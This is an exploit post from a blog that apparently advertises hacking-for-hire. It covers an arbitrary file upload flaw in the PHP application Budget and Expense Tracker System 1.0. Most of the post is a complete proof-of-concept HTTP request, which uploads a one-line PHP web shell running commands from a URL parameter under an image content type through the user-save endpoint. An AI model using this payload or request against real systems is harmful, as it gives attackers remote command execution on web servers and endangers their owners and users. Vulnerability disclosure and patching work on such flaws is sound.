Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86394776

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Budget and Expense Tracker System 1.0 - Arbitrary File Upload 
# Exploit Author: ()t/\/\1
# Date: 23/09/2021
# Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html
# Tested on: Linux
# Version: 2.0

# Exploit Description:
The application is prone to an arbitrary file-upload because it fails to adequately sanitize user-supplied input. An attacker can exploit these issues to upload arbitrary files in the context of the web server process and execute commands.


# PoC request 

POST /expense_budget/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/expense_budget/admin/?page=user
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------1399170066243244238234165712
Content-Length: 824
Connection: close
Cookie: PHPSESSID=a36f66fa4a5751d4a15db458d573139c

-----------------------------1399170066243244238234165712
Content-Disposition: form-data; name="id"

1
-----------------------------1399170066243244238234165712
Content-Disposition: form-data; name="firstname"

A
-----------------------------1399170066243244238234165712
Content-Disposition: form-data; name="lastname"

a
-----------------------------1399170066243244238234165712
Content-Disposition: form-data; name="username"

admin
-----------------------------1399170066243244238234165712
Content-Disposition: form-data; name="password"


-----------------------------1399170066243244238234165712
Content-Disposition: form-data; name="img"; filename="na3na3.php"
Content-Type: image/jpeg

<?php echo "<pre>";system($_GET['cmd']); ?>
-----------------------------1399170066243244238234165712--